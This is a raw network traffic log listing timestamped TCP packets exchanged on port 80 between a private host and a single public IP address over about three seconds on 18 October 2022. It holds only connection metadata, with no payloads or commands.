Oct 18, 2022 13:28:07.585323095 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585323095 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585349083 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585356951 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585376024 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585380077 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585402012 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585408926 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585427999 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585428953 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585453987 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585454941 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585479021 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585480928 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585495949 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585506916 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585521936 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585532904 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585563898 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585575104 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585671902 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585700989 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585715055 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585726976 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585743904 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585753918 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585772038 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585782051 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585797071 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585808992 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585824966 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585835934 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585851908 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585861921 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585879087 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585889101 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585905075 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585915089 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585930109 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585942030 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585956097 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585968018 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.585983038 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.585995913 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.586011887 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.586036921 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.645461082 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.645499945 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.645586967 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.645731926 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.645752907 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.645772934 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.645788908 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.645791054 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.645804882 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.645811081 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.645828962 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.645834923 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.645845890 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.645865917 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.645889044 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.645978928 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.646143913 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646212101 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646239042 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.646250963 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646290064 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646310091 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646341085 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.646398067 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646416903 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.646418095 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646437883 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646457911 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646471977 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.646476030 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646496058 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646514893 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646536112 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646553993 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.646555901 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646574974 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646595955 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646609068 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.646614075 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646635056 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646651983 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646671057 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646676064 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.646688938 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646706104 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.646723986 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.646748066 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.706073046 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.706118107 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.706137896 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.706151009 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.706163883 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.706186056 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.706203938 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.706223965 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.706242085 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.706260920 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.706276894 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.706334114 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.706442118 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.706461906 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.706499100 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.706537962 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.706865072 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.706914902 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.706934929 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.706949949 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.706954002 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.706974030 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.706983089 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.706990957 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.707010031 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.707027912 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.707035065 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.707045078 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.707062006 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.707065105 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.707082987 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.707098961 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.707103014 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.707120895 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.707130909 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.707139969 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.707151890 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.707159042 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.707176924 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.707187891 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.707195997 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.707212925 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.707223892 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.707230091 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.707247972 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.707252026 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.707273960 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.707302094 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.766841888 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.766901970 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.766921043 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.766941071 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.766959906 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.766977072 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.766997099 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.767014027 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.767031908 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.767049074 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.767051935 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.767071962 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.767103910 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.767128944 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.767359972 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.767380953 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.767415047 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.767448902 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.767797947 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.767819881 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.767838955 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.767855883 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.767858982 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.767877102 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.767878056 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.767895937 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.767918110 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.767926931 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.767926931 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.767936945 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.767954111 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.767956972 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.767992973 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.768001080 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.768014908 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.768019915 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.768038034 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.768049955 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.768057108 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.768069029 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.768076897 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.768088102 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.768095970 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.768116951 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.768121004 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.768135071 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.768146992 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.768152952 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.768172979 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.768179893 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.768218040 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.827677011 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.827739000 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.827766895 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.827789068 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.827814102 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.827841043 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.827867031 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.827876091 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.827893019 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.827922106 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.827924967 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.827924967 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.827948093 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.827950001 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.827963114 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.827975035 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.827989101 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.828003883 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.828013897 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.828032970 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.828042984 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.828061104 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.828071117 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.828097105 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.828593969 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.828630924 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.828660011 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.828689098 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.828691006 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.828716993 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.828720093 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.828744888 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.828763008 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.828773022 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.828783035 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.828799009 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.828815937 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.828825951 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.828852892 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.828881025 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.828905106 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.828906059 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.828928947 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.828929901 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.828953981 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.828957081 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.828975916 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.828983068 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.828999996 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.829010010 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.829020977 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.829032898 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.829046011 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.829061031 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.829068899 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.829087973 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.829097033 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.829124928 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.888788939 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.888842106 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.888873100 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.888902903 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.888931990 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.888961077 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.888972044 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.888991117 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889022112 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889072895 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.889076948 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889106989 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889130116 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.889136076 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889166117 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889199018 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889209986 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.889233112 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889301062 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.889353037 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889384031 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889411926 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889442921 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889473915 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889662981 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889667034 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.889667034 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.889667034 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.889698982 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889720917 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.889728069 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889746904 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.889755964 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889780998 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.889786005 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889802933 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.889812946 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889836073 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.889842033 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889867067 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.889873028 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889890909 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.889903069 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889925003 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.889933109 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889964104 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.889966965 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.889988899 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.889991999 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.890006065 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.890022993 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.890036106 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.890052080 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.890064955 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.890095949 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.949733019 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.949788094 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.949807882 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.949933052 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.949985981 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.949990988 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.950011015 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.950048923 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.950066090 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:08.288352966 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:08.288606882 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:08.640469074 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:08.640674114 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:09.250725031 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:09.250937939 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:10.368299007 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:10.368485928 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:10.928277016 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:10.928464890 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:10.988949060 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:10.988992929 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:10.989034891 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:10.989048958 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:10.989061117 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:10.989088058 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:10.989097118 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:10.989115953 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:10.989142895 CEST	80	49701	141.8.199.69	192.168.2.7
